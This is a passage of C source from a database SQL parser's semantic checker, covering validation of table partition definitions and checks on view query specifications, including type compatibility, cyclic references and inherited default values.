PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_PARTITION_DEF,
part_name);
goto check_end;
}
if (db_value_list_add (&inlist_tail, parts_val))
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
goto check_end;
}
if (inlist_head == NULL)
{
inlist_head = inlist_tail;
}
partition_range_min_max (&partmax, parts_val, RANGE_MAX);
if (!DB_IS_NULL (parts_val))
{ /* MAXVALUE */
partition_range_min_max (&partmin, parts_val, RANGE_MIN);
}
}
else
{ /* LIST */
for (val = parts->info.parts.values; val && val->node_type == PT_VALUE; val = val->next)
{
error = pt_coerce_partition_value_with_data_type (parser, val, column_dt);
if (error != NO_ERROR)
{
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CONSTANT_TYPE_MISMATCH,
part_name);
goto check_end;
}
parts_val = pt_value_to_db (parser, val);
if (parts_val == NULL)
{
parts_val = &null_val;
}
/* new-list duplicate check */
if (db_value_list_find (minmax_head, parts_val))
{
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_PARTITION_DEF,
part_name);
goto check_end;
}
if (db_value_list_add (&minmax_tail, parts_val))
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
goto check_end;
}
if (minmax_head == NULL)
{
minmax_head = minmax_tail;
}
/* out-list duplicate check */
if (db_value_list_find (outlist_head, parts_val))
{
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_PARTITION_DEF,
part_name);
goto check_end;
}
/* in-list delete - lost check */
db_value_list_finddel (&inlist_head, parts_val);
}
}
/* check if has duplicated name in parts_list of itself */
for (next_parts = parts->next; next_parts; next_parts = next_parts->next)
{
if (!intl_identifier_casecmp (next_parts->info.parts.name->info.name.original, part_name))
{
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_PARTITION_DEF,
part_name);
goto check_end;
}
}
parts_cnt++;
if (parts->flag.partition_pruned)
{
if (name_list)
{
for (names = name_list; names; names = names->next)
{
if (!intl_identifier_casecmp (part_name, names->info.name.original))
{
names->flag.partition_pruned = 0;
break; /* REORG partition name reuse */
}
}
if (names != NULL)
{
continue;
}
}
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_PARTITION_DEF, part_name);
goto check_end;
}
}
}
if (psize == NULL)
{ /* RANGE or LIST */
orig_cnt = orig_cnt - name_cnt + parts_cnt;
if (cmd != PT_PROMOTE_PARTITION)
{
if (orig_cnt < 1 && cmd == PT_DROP_PARTITION)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CANNOT_DROP_ALL_PARTITIONS);
goto check_end;
}
if (orig_cnt < 1 || orig_cnt > MAX_PARTITIONS)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_SIZE);
goto check_end;
}
}
if (smclass->partition->partition_type == PT_PARTITION_RANGE)
{
if (cmd == PT_ADD_PARTITION)
{
if (DB_IS_NULL (maxval) || (partmin != NULL && db_value_compare (maxval, partmin) != DB_LT))
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_IS_NOT_END_OF_PARTITION);
goto check_end;
}
/* maxval save for do_create_partition */
stmt->info.alter.alter_clause.partition.info = pt_dbval_to_value (parser, maxval);
}
else if (cmd == PT_REORG_PARTITION)
{
if (partmin == NULL)
{
/* reorganizing into one partition with MAXVALUE */
if (parts_cnt != 1)
{
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_PARTITION_RANGE_INVALID,
class_name);
goto check_end;
}
}
else if (!DB_IS_NULL (minval) && db_value_compare (partmin, minval) != DB_GT)
{
range_invalid_error:
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_PARTITION_RANGE_INVALID,
class_name);
goto check_end;
}
if ((DB_IS_NULL (maxval) && !DB_IS_NULL (partmax))
|| (!DB_IS_NULL (maxval) && !DB_IS_NULL (partmax) && db_value_compare (maxval, partmax) == DB_GT))
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DATA_LOSS_IS_NOT_ALLOWED);
goto check_end;
}
/* checks non-continuous or overlap ranges */
for (min_list = minmax_head, max_list = (min_list) ? min_list->next : NULL; (min_list && max_list);
min_list = max_list->next, max_list = (min_list) ? min_list->next : NULL)
{
if (DB_IS_NULL (partmax))
{ /* new-high infinite */
if (DB_IS_NULL (max_list->val))
{
goto range_invalid_error;
}
continue;
}
if (DB_IS_NULL (min_list->val))
{ /* orig-low infinite */
if (db_value_compare (partmin, max_list->val) != DB_GT)
{
goto range_invalid_error;
}
continue;
}
if (DB_IS_NULL (max_list->val))
{ /* orig-high infinite */
if (db_value_compare (min_list->val, partmax) == DB_LT)
{
goto range_invalid_error;
}
continue;
}
if ((db_value_compare (minval, min_list->val) != DB_GT
&& db_value_compare (min_list->val, partmax) == DB_LT)
|| (db_value_compare (minval, max_list->val) == DB_LT
&& db_value_compare (max_list->val, partmax) != DB_GT)
|| (db_value_compare (min_list->val, minval) != DB_GT
&& db_value_compare (minval, max_list->val) == DB_LT)
|| (db_value_compare (min_list->val, partmax) == DB_LT
&& db_value_compare (partmax, max_list->val) != DB_GT))
{
goto range_invalid_error;
}
}
}
} /* end RANGE */
else
{ /* LIST */
if (cmd == PT_REORG_PARTITION && inlist_head != NULL)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DATA_LOSS_IS_NOT_ALLOWED);
goto check_end;
}
}
}
else
{ /* HASH */
if (cmd == PT_ADD_HASHPARTITION)
{
orig_cnt += psize->data.i;
}
else
{
orig_cnt -= psize->data.i;
}
if (orig_cnt < 1 || psize->data.i < 1 || orig_cnt > MAX_PARTITIONS)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_SIZE);
goto check_end;
}
}
check_end:
if (tmp_parser != NULL)
{
parser_free_parser (tmp_parser);
tmp_parser = NULL;
}
if (column_dt != NULL)
{
parser_free_tree (parser, column_dt);
column_dt = NULL;
}
if (maxval)
{
pr_free_ext_value (maxval);
}
if (minval)
{
pr_free_ext_value (minval);
}
if (partmax)
{
pr_free_ext_value (partmax);
}
if (partmin)
{
pr_free_ext_value (partmin);
}
for (p = minmax_head; p; p = next)
{
next = p->next;
pr_free_ext_value (p->val);
free_and_init (p);
}
for (p = inlist_head; p; p = next)
{
next = p->next;
pr_free_ext_value (p->val);
free_and_init (p);
}
for (p = outlist_head; p; p = next)
{
next = p->next;
pr_free_ext_value (p->val);
free_and_init (p);
}
return;
out_of_mem_fail:
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
goto out_of_mem;
invalid_partition_info_fail:
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_INFO);
out_of_mem:
pr_clear_value (&minele);
pr_clear_value (&maxele);
goto check_end;
}
/*
* pt_attr_refers_to_self () - is this a self referencing attribute?
* return: 1 if attr refers to self
* parser(in): the parser context
* attr(in): an attribute
* self(in): name of vclass being created/altered
*/
static bool
pt_attr_refers_to_self (PARSER_CONTEXT * parser, PT_NODE * attr, const char *self)
{
PT_NODE *type;
DB_OBJECT *self_obj, *attr_obj;
if (!attr || attr->type_enum != PT_TYPE_OBJECT || !attr->data_type || attr->data_type->node_type != PT_DATA_TYPE
|| !self)
{
return false;
}
for (type = attr->data_type->info.data_type.entity; type && type->node_type == PT_NAME; type = type->next)
{
/* self is a string because in the create case, self does not exist yet */
if (!pt_user_specified_name_compare (self, type->info.name.original))
{
return true;
}
/* an attribute whose type is a subclass of self is also considered a self-referencing attribute */
self_obj = db_find_class (self);
attr_obj = type->info.name.db_object;
if (self_obj && attr_obj && db_is_subclass (attr_obj, self_obj) > 0)
{
return true;
}
}
return false;
}
/*
* pt_is_compatible_type () -
* return: true on compatible type
* arg1_type(in):
* arg2_type(in):
*/
static bool
pt_is_compatible_type (const PT_TYPE_ENUM arg1_type, const PT_TYPE_ENUM arg2_type)
{
bool is_compatible = false;
if (arg1_type == arg2_type)
{
is_compatible = true;
}
else
switch (arg1_type)
{
case PT_TYPE_SMALLINT:
case PT_TYPE_INTEGER:
case PT_TYPE_BIGINT:
case PT_TYPE_FLOAT:
case PT_TYPE_DOUBLE:
case PT_TYPE_NUMERIC:
case PT_TYPE_MONETARY:
switch (arg2_type)
{
case PT_TYPE_SMALLINT:
case PT_TYPE_INTEGER:
case PT_TYPE_BIGINT:
case PT_TYPE_FLOAT:
case PT_TYPE_DOUBLE:
case PT_TYPE_NUMERIC:
case PT_TYPE_MONETARY:
case PT_TYPE_LOGICAL: /* logical is compatible with these types */
is_compatible = true;
break;
default:
break;
}
break;
case PT_TYPE_CHAR:
case PT_TYPE_VARCHAR:
switch (arg2_type)
{
case PT_TYPE_CHAR:
case PT_TYPE_VARCHAR:
is_compatible = true;
break;
default:
break;
}
break;
case PT_TYPE_NCHAR:
case PT_TYPE_VARNCHAR:
switch (arg2_type)
{
case PT_TYPE_NCHAR:
case PT_TYPE_VARNCHAR:
is_compatible = true;
break;
default:
break;
}
break;
case PT_TYPE_BIT:
case PT_TYPE_VARBIT:
switch (arg2_type)
{
case PT_TYPE_BIT:
case PT_TYPE_VARBIT:
is_compatible = true;
break;
default:
break;
}
break;
default:
break;
}
return is_compatible;
}
/*
* pt_check_vclass_attr_qspec_compatible () -
* return:
* parser(in):
* attr(in):
* col(in):
*/
static PT_UNION_COMPATIBLE
pt_check_vclass_attr_qspec_compatible (PARSER_CONTEXT * parser, PT_NODE * attr, PT_NODE * col)
{
bool is_object_type;
PT_UNION_COMPATIBLE c = pt_union_compatible (parser, attr, col, true, &is_object_type);
if (c == PT_UNION_INCOMP && pt_is_compatible_type (attr->type_enum, col->type_enum))
{
c = PT_UNION_COMP;
}
return c;
}
/*
* pt_check_vclass_union_spec () -
* return:
* parser(in):
* qry(in):
* attrs(in):
*/
static PT_NODE *
pt_check_vclass_union_spec (PARSER_CONTEXT * parser, PT_NODE * qry, PT_NODE * attrds)
{
PT_NODE *attrd = NULL;
PT_NODE *attrs1 = NULL;
PT_NODE *attrs2 = NULL;
PT_NODE *att1 = NULL;
PT_NODE *att2 = NULL;
PT_NODE *result_stmt = NULL;
/* parser assures us that it's a query but better make sure */
if (!pt_is_query (qry))
{
return NULL;
}
if (!(qry->node_type == PT_UNION || qry->node_type == PT_DIFFERENCE || qry->node_type == PT_INTERSECTION))
{
assert (qry->node_type == PT_SELECT);
return qry;
}
result_stmt = pt_check_vclass_union_spec (parser, qry->info.query.q.union_.arg1, attrds);
if (pt_has_error (parser) || result_stmt == NULL)
{
return NULL;
}
result_stmt = pt_check_vclass_union_spec (parser, qry->info.query.q.union_.arg2, attrds);
if (pt_has_error (parser) || result_stmt == NULL)
{
return NULL;
}
attrs1 = pt_get_select_list (parser, qry->info.query.q.union_.arg1);
if (attrs1 == NULL)
{
return NULL;
}
attrs2 = pt_get_select_list (parser, qry->info.query.q.union_.arg2);
if (attrs2 == NULL)
{
return NULL;
}
for (attrd = attrds, att1 = attrs1, att2 = attrs2;
attrd != NULL && att1 != NULL && att2 != NULL; attrd = attrd->next, att1 = att1->next, att2 = att2->next)
{
/* bypass any class_attribute in the vclass attribute defs */
if (attrd->info.attr_def.attr_type == PT_META_ATTR)
{
continue;
}
/* we have a vclass attribute def context, so do union vclass compatibility checks where applicable */
if (attrd->type_enum != PT_TYPE_OBJECT)
{
continue;
}
if (pt_vclass_compatible (parser, attrd->data_type, att1)
&& pt_vclass_compatible (parser, attrd->data_type, att2))
{
continue;
}
if (!pt_class_assignable (parser, attrd->data_type, att1))
{
PT_ERRORmf2 (parser, att1, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ATT_INCOMPATIBLE_COL,
attribute_name (parser, attrd), pt_short_print (parser, att1));
return NULL;
}
if (!pt_class_assignable (parser, attrd->data_type, att2))
{
PT_ERRORmf2 (parser, att2, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ATT_INCOMPATIBLE_COL,
attribute_name (parser, attrd), pt_short_print (parser, att2));
return NULL;
}
}
assert (attrd == NULL && att1 == NULL && att2 == NULL);
return qry;
}
/*
* pt_check_cyclic_reference_in_view_spec () -
* return:
* parser(in):
* node(in):
* arg(in):
* continue_walk(in):
*/
PT_NODE *
pt_check_cyclic_reference_in_view_spec (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
const char *spec_name = NULL;
PT_NODE *entity_name = NULL;
DB_OBJECT *class_object;
DB_QUERY_SPEC *db_query_spec;
PT_NODE **result;
PT_NODE *query_spec;
const char *query_spec_string;
const char *self = (const char *) arg;
PARSER_CONTEXT *query_cache;
if (node == NULL)
{
return node;
}
switch (node->node_type)
{
case PT_SPEC:
entity_name = node->info.spec.entity_name;
if (entity_name == NULL)
{
return node;
}
if (entity_name->node_type != PT_NAME)
{
return node;
}
spec_name = pt_get_name (entity_name);
if (pt_str_compare (spec_name, self, CASE_INSENSITIVE) == 0)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CYCLIC_REFERENCE_VIEW_SPEC, self);
*continue_walk = PT_STOP_WALK;
return node;
}
class_object = entity_name->info.name.db_object;
if (db_is_vclass (class_object) <= 0)
{
return node;
}
query_cache = parser_create_parser ();
if (query_cache == NULL)
{
return node;
}
db_query_spec = db_get_query_specs (class_object);
while (db_query_spec)
{
query_spec_string = db_query_spec_string (db_query_spec);
result = parser_parse_string_use_sys_charset (query_cache, query_spec_string);
if (result != NULL)
{
query_spec = *result;
parser_walk_tree (query_cache, query_spec, pt_check_cyclic_reference_in_view_spec, arg, NULL, NULL);
}
if (pt_has_error (query_cache))
{
PT_ERROR (parser, node, query_cache->error_msgs->info.error_msg.error_message);
*continue_walk = PT_STOP_WALK;
break;
}
db_query_spec = db_query_spec_next (db_query_spec);
}
parser_free_parser (query_cache);
break;
default:
break;
}
return node;
}
/*
* pt_check_vclass_query_spec () - do semantic checks on a vclass query spec
* return:
* parser(in): the parser context used to derive the qry
* qry(in): a vclass query specification
* attrs(in): the attributes of the vclass
* self(in): name of vclass being created/altered
*
* Note :
* check that query_spec:
* - count(attrs) == count(columns)
* - corresponding attribute and query_spec column match type-wise
* - query_spec column that corresponds to a shared attribute must be NA
*/
static PT_NODE *
pt_check_vclass_query_spec (PARSER_CONTEXT * parser, PT_NODE * qry, PT_NODE * attrs, const char *self,
const bool do_semantic_check)
{
PT_NODE *columns, *col, *attr;
int col_count, attr_count;
if (!pt_is_query (qry))
{
return NULL;
}
if (qry->info.query.into_list != NULL)
{
PT_ERRORm (parser, qry, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_WANT_NO_INTO_CLAUSE);
return NULL;
}
if (do_semantic_check)
{
qry = pt_semantic_check (parser, qry);
if (pt_has_error (parser) || qry == NULL)
{
return NULL;
}
}
(void) parser_walk_tree (parser, qry, pt_check_cyclic_reference_in_view_spec, (void *) self, NULL, NULL);
if (pt_has_error (parser))
{
return NULL;
}
/* count(attrs) == count(query spec columns) */
columns = pt_get_select_list (parser, qry);
col_count = pt_length_of_select_list (columns, EXCLUDE_HIDDEN_COLUMNS);
attr_count = pt_length_of_list (attrs);
if (attr_count != col_count)
{
PT_ERRORmf2 (parser, qry, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ATT_CNT_NE_COL_CNT, attr_count, col_count);
return NULL;
}
qry = pt_check_vclass_union_spec (parser, qry, attrs);
if (pt_has_error (parser) || qry == NULL)
{
return NULL;
}
/* foreach normal/shared attribute and query_spec column do */
for (attr = attrs, col = columns; attr != NULL && col != NULL; attr = attr->next, col = col->next)
{
/* bypass any class_attribute */
if (attr->info.attr_def.attr_type == PT_META_ATTR)
{
attr = attr->next;
continue;
}
if (col->node_type == PT_HOST_VAR)
{
PT_ERRORm (parser, col, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_HOSTVAR_NOT_ALLOWED_ON_QUERY_SPEC);
}
else if (attr->type_enum == PT_TYPE_NONE)
{
if (col->node_type == PT_VALUE && col->type_enum == PT_TYPE_NULL)
{
PT_ERRORmf2 (parser, col, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ATT_INCOMPATIBLE_COL,
attribute_name (parser, attr), pt_short_print (parser, col));
}
else
{
pt_fixup_column_type (col);
attr->type_enum = col->type_enum;
if (col->data_type)
{
attr->data_type = parser_copy_tree_list (parser, col->data_type);
}
}
}
/* attribute and query_spec column must match type-wise */
else if (attr->type_enum == PT_TYPE_OBJECT)
{
if (!pt_attr_refers_to_self (parser, attr, self) && !pt_vclass_compatible (parser, attr->data_type, col)
&& !pt_class_assignable (parser, attr->data_type, col))
{
PT_ERRORmf2 (parser, col, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ATT_INCOMPATIBLE_COL,
attribute_name (parser, attr), pt_short_print (parser, col));
}
}
else if (PT_IS_COLLECTION_TYPE (attr->type_enum))
{
if (!pt_collection_assignable (parser, attr, col))
{
PT_ERRORmf2 (parser, col, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ATT_INCOMPATIBLE_COL,
attribute_name (parser, attr), pt_short_print (parser, col));
}
}
else if (pt_check_vclass_attr_qspec_compatible (parser, attr, col) != PT_UNION_COMP)
{
PT_ERRORmf2 (parser, col, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ATT_INCOMPATIBLE_COL,
attribute_name (parser, attr), pt_short_print (parser, col));
}
/* any shared attribute must correspond to NA in the query_spec */
if (is_shared_attribute (parser, attr) && col->type_enum != PT_TYPE_NA && col->type_enum != PT_TYPE_NULL)
{
PT_ERRORmf (parser, col, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_QSPEC_COL_NOT_NA,
attribute_name (parser, attr));
}
}
return qry;
}
/*
* pt_type_cast_vclass_query_spec_column () -
* return: current or new column
* parser(in): the parser context used to derive the qry
* attr(in): the attributes of the vclass
* col(in): the query_spec column of the vclass
*/
PT_NODE *
pt_type_cast_vclass_query_spec_column (PARSER_CONTEXT * parser, PT_NODE * attr, PT_NODE * col)
{
bool is_object_type;
PT_UNION_COMPATIBLE c;
PT_NODE *new_col, *new_dt, *next_col;
/* guarantees PT_TYPE_OBJECT and SET types are fully compatible. */
if (attr->type_enum == PT_TYPE_OBJECT || PT_IS_COLLECTION_TYPE (attr->type_enum))
{
return col;
}
c = pt_union_compatible (parser, attr, col, true, &is_object_type);
if (((c == PT_UNION_COMP)
&& (attr->type_enum == col->type_enum && PT_IS_PARAMETERIZED_TYPE (attr->type_enum) && attr->data_type
&& col->data_type)
&& ((attr->data_type->info.data_type.precision != col->data_type->info.data_type.precision)
|| (attr->data_type->info.data_type.dec_precision != col->data_type->info.data_type.dec_precision)))
|| (c == PT_UNION_INCOMP))
{
/* rewrite */
next_col = col->next;
col->next = NULL;
new_col = new_dt = NULL;
new_col = parser_new_node (parser, PT_EXPR);
if (new_col == NULL)
{
PT_ERRORm (parser, col, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return col; /* give up */
}
new_dt = parser_new_node (parser, PT_DATA_TYPE);
if (new_dt == NULL)
{
PT_ERRORm (parser, col, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
parser_free_tree (parser, new_col);
return col; /* give up */
}
/* move alias */
new_col->line_number = col->line_number;
new_col->column_number = col->column_number;
new_col->alias_print = col->alias_print;
col->alias_print = NULL;
new_dt->type_enum = attr->type_enum;
if (attr->data_type)
{
new_dt->info.data_type.precision = attr->data_type->info.data_type.precision;
new_dt->info.data_type.dec_precision = attr->data_type->info.data_type.dec_precision;
new_dt->info.data_type.units = attr->data_type->info.data_type.units;
new_dt->info.data_type.collation_id = attr->data_type->info.data_type.collation_id;
assert (new_dt->info.data_type.collation_id >= 0);
new_dt->info.data_type.enumeration =
parser_copy_tree_list (parser, attr->data_type->info.data_type.enumeration);
}
new_col->type_enum = new_dt->type_enum;
new_col->info.expr.op = PT_CAST;
new_col->info.expr.cast_type = new_dt;
new_col->info.expr.arg1 = col;
new_col->next = next_col;
new_col->data_type = parser_copy_tree_list (parser, new_dt);
PT_EXPR_INFO_SET_FLAG (new_col, PT_EXPR_INFO_CAST_SHOULD_FOLD);
col = new_col;
}
return col;
}
/*
* pt_type_cast_vclass_query_spec () -
* return:
* parser(in):
* qry(in):
* attrs(in):
*/
static PT_NODE *
pt_type_cast_vclass_query_spec (PARSER_CONTEXT * parser, PT_NODE * qry, PT_NODE * attrs)
{
PT_NODE *columns, *col, *attr;
PT_NODE *new_col, *prev_col;
PT_NODE *node_list;
/* parser assures us that it's a query but better make sure */
if (!pt_is_query (qry))
{
return NULL;
}
if (qry->node_type != PT_SELECT)
{
if (!pt_type_cast_vclass_query_spec (parser, qry->info.query.q.union_.arg1, attrs) || pt_has_error (parser)
|| (!pt_type_cast_vclass_query_spec (parser, qry->info.query.q.union_.arg2, attrs)) || pt_has_error (parser))
{
return NULL;
}
}
if (qry->node_type != PT_SELECT)
{
return qry; /* already done */
}
if (PT_IS_VALUE_QUERY (qry))
{
for (node_list = qry->info.query.q.select.list; node_list != NULL; node_list = node_list->next)
{
assert (node_list->node_type == PT_NODE_LIST);
columns = node_list->info.node_list.list;
col = columns;
attr = attrs;
prev_col = NULL;
while (attr != NULL && col != NULL)
{
/* skip class attribute */
if (attr->info.attr_def.attr_type == PT_META_ATTR)
{
attr = attr->next;
continue;
}
new_col = pt_type_cast_vclass_query_spec_column (parser, attr, col);
if (new_col != col)
{
if (prev_col == NULL)
{
node_list->info.node_list.list = new_col;
qry->type_enum = new_col->type_enum;
if (qry->data_type)
{
parser_free_tree (parser, qry->data_type);
}
qry->data_type = parser_copy_tree_list (parser, new_col->data_type);
}
else
{
prev_col->next = new_col;
}
col = new_col;
}
prev_col = col;
col = col->next;
attr = attr->next;
}
}
}
else
{
columns = pt_get_select_list (parser, qry);
/* foreach normal/shared attribute and query_spec column do */
attr = attrs;
col = columns;
prev_col = NULL;
while (attr && col)
{
/* bypass any class_attribute */
if (attr->info.attr_def.attr_type == PT_META_ATTR)
{
attr = attr->next;
continue;
}
new_col = pt_type_cast_vclass_query_spec_column (parser, attr, col);
if (new_col != col)
{
if (prev_col == NULL)
{
qry->info.query.q.select.list = new_col;
qry->type_enum = new_col->type_enum;
if (qry->data_type)
{
parser_free_tree (parser, qry->data_type);
}
qry->data_type = parser_copy_tree_list (parser, new_col->data_type);
}
else
{
prev_col->next = new_col;
}
col = new_col;
}
/* save previous link */
prev_col = col;
/* advance to next attribute and column */
attr = attr->next;
col = col->next;
}
}
return qry;
}
/*
* pt_check_default_vclass_query_spec () -
* return: new attrs node including default values
* parser(in):
* qry(in):
* attrs(in):
*
* For all those view attributes that don't have implicit default values,
* copy the default values from the original table
*
* NOTE: there are two ways attrs is constructed at this point:
* - stmt: create view (attr_list) as select... and the attrs will be created directly from the statement
* - stmt: create view as select... and the attrs will be created from the query's select list
* In both cases, each attribute in attrs will correspond to the column in the select list at the same index
*/
static PT_NODE *
pt_check_default_vclass_query_spec (PARSER_CONTEXT * parser, PT_NODE * qry, PT_NODE * attrs)
{
PT_NODE *attr, *col;
PT_NODE *columns = pt_get_select_list (parser, qry);
PT_NODE *default_data = NULL;
PT_NODE *default_value = NULL, *default_op_value = NULL;
PT_NODE *spec, *entity_name;
DB_OBJECT *obj;
DB_ATTRIBUTE *col_attr;
const char *lang_str;
int flag = 0;
bool has_user_format;
/* Import default value and on update default expr from referenced table
* for those attributes in the the view that don't have them. */
for (attr = attrs, col = columns; attr && col; attr = attr->next, col = col->next)
{
if (attr->info.attr_def.data_default != NULL && attr->info.attr_def.on_update != DB_DEFAULT_NONE)
{
/* default values are overwritten */
continue;
}
if (col->node_type != PT_NAME)
{
continue;
}
if (col->info.name.spec_id == 0)
{
continue;
}
spec = (PT_NODE *) col->info.name.spec_id;
entity_name = spec->info.spec.entity_name;
if (entity_name == NULL || !PT_IS_NAME_NODE (entity_name))
{
continue;
}
obj = entity_name->info.name.db_object;
if (obj == NULL)
{
continue;
}
col_attr = db_get_attribute_force (obj, col->info.name.original);
if (col_attr == NULL)
{
continue;
}
if (attr->info.attr_def.on_update == DB_DEFAULT_NONE)
{
attr->info.attr_def.on_update = col_attr->on_update_default_expr;
}
if (attr->info.attr_def.data_default == NULL)
{
if (DB_IS_NULL (&col_attr->default_value.value)
&& (col_attr->default_value.default_expr.default_expr_type == DB_DEFAULT_NONE))
{
/* don't create any default node if default value is null unless default expression type is not
* DB_DEFAULT_NONE */
continue;
}
if (col_attr->default_value.default_expr.default_expr_type == DB_DEFAULT_NONE)
{
default_value = pt_dbval_to_value (parser, &col_attr->default_value.value);
if (default_value == NULL)
{
PT_ERRORm (parser, qry, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
goto error;
}
default_data = parser_new_node (parser, PT_DATA_DEFAULT);
if (default_data == NULL)
{
parser_free_tree (parser, default_value);
PT_ERRORm (parser, qry, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
goto error;
}
default_data->info.data_default.default_value = default_value;
default_data->info.data_default.shared = PT_DEFAULT;
default_data->info.data_default.default_expr_type = DB_DEFAULT_NONE;
}
else
{
default_op_value = parser_new_node (parser, PT_EXPR);
if (default_op_value == NULL)
{
PT_ERRORm (parser, qry, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
goto error;
}
default_op_value->info.expr.op =
pt_op_type_from_default_expr_type (col_attr->default_value.default_expr.default_expr_type);
if (col_attr->default_value.default_expr.default_expr_op != T_TO_CHAR)
{
default_value = default_op_value;
}
else
{
PT_NODE *arg1, *arg2, *arg3;
arg1 = default_op_value;
has_user_format = col_attr->default_value.default_expr.default_expr_format ? 1 : 0;
arg2 = pt_make_string_value (parser, col_attr->default_value.default_expr.default_expr_format);
if (arg2 == NULL)
{
parser_free_tree (parser, default_op_value);
PT_ERRORm (parser, qry, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
goto error;
}
arg3 = parser_new_node (parser, PT_VALUE);
if (arg3 == NULL)
{
parser_free_tree (parser, default_op_value);
parser_free_tree (parser, arg2);
}
arg3->type_enum = PT_TYPE_INTEGER;
lang_str = prm_get_string_value (PRM_ID_INTL_DATE_LANG);
lang_set_flag_from_lang (lang_str, has_user_format, 0, &flag);
arg3->info.value.data_value.i = (long) flag;
default_value = parser_make_expression (parser, PT_TO_CHAR, arg1, arg2, arg3);
if (default_value == NULL)
{
parser_free_tree (parser, default_op_value);
parser_free_tree (parser, arg2);
parser_free_tree (parser, arg3);
PT_ERRORm (parser, qry, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
goto error;
}
}
default_data = parser_new_node (parser, PT_DATA_DEFAULT);
if (default_data == NULL)
{
parser_free_tree (parser, default_value);
PT_ERRORm (parser, qry, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
goto error;
}
default_data->info.data_default.default_value = default_value;
default_data->info.data_default.shared = PT_DEFAULT;
default_data->info.data_default.default_expr_type =
col_attr->default_value.default_expr.default_expr_type;
}
attr->info.attr_def.data_default = default_data;
}
}
return attrs;
error:
parser_free_tree (parser, attrs);
return NULL;
}
/*
* pt_check_create_view () - do semantic checks on a create vclass statement
* or an "ALTER VIEW AS SELECT" statement
*
* return: none
* parser(in): the parser context used to derive the statement
* stmt(in): a create vclass statement
*
* Note :
* This function is also called when doing "ALTER VIEW xxx AS SELECT ...",
* which is a simplified case, since it does not support class inheritance.
*
* check that
* - stmt's query_specs are union compatible with each other
* - if no attributes are given, derive them from the query_spec columns
* - if an attribute has no data type then derive it from its
* matching query_spec column
* - corresponding attribute and query_spec column must match type-wise
* - count(attributes) == count(query_spec columns)
* - query_spec column that corresponds to a shared attribute must be NA
* - we allow order by clauses in the queries
*/
static void
pt_check_create_view (PARSER_CONTEXT * parser, PT_NODE * stmt)
{
PT_NODE *all_attrs = NULL;
PT_NODE *derived_attr = NULL;
PT_NODE *result_stmt = NULL;
PT_NODE **qry_specs_ptr = NULL;
PT_NODE *crt_qry = NULL;
PT_NODE **prev_qry_link_ptr = NULL;
PT_NODE **attr_def_list_ptr = NULL;
PT_NODE *prev_qry;
const char *name = NULL;
int attr_count = 0;
bool do_not_replace_orderby;
assert (parser != NULL);
if (stmt == NULL)
{
return;
}
if (stmt->node_type == PT_CREATE_ENTITY)
{
if (stmt->info.create_entity.entity_type != PT_VCLASS || stmt->info.create_entity.entity_name == NULL)
{
return;
}
}
